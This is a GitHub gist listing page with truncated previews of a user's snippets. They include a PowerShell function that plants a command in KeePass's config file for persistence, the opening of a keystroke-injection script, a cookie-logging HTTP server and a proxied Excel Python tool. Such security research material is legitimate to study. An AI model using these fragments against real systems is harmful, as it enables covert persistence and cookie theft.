Skip to content

Instantly share code, notes, and snippets.

@two06
two06 / PyCel.py
Created August 31, 2023 09:55
Python tool for interacting with Excel Python container (preview release)
#!/usr/bin/python3
import requests
import sys
import uuid
from requests.packages.urllib3.exceptions import InsecureRequestWarning
#Disable annoying warnings about using burp proxy.
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
http_proxy = "http://127.0.0.1:8080"
@two06
two06 / private_fork.md
Created October 15, 2020 16:01 — forked from 0xjac/private_fork.md
Create a private fork of a public repository

The repository for the assignment is public and Github does not allow the creation of private forks for public repositories.

The correct way of creating a private frok by duplicating the repo is documented here.

For this assignment the commands are:

  1. Create a bare clone of the repository. (This is temporary and will be removed so just do it wherever.)

git clone --bare git@github.com:usi-systems/easytrace.git

function Invoke-KeePassPersist {
param(
[string]$Command = $(throw "-Command is required."),
[string]$Name = $(throw "-Name is required."),
[string]$Path = $env:APPDATA + "\KeePass\KeePass.config.xml"
)
#Create a new Guid value
$tGuid = New-Guid
$GuidBytes = $tGuid.ToByteArray()
$Guid = [Convert]::ToBase64String($GuidBytes)
DELAY 3000
GUI r
DELAY 200
STRING cmd
ENTER
DELAY 200
STRING CD C:\
ENTER
STRING mkdir stuff
ENTER
@two06
two06 / SimpleHTTPServer.py
Created October 13, 2015 19:50
Python SImpleHttpServer with cookie support
#Modifed SimpleHTTPServer which returns cookies passed on the request
import SimpleHTTPServer
import logging
cookieHeader = None
class MyHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
self.cookieHeader = self.headers.get('Cookie')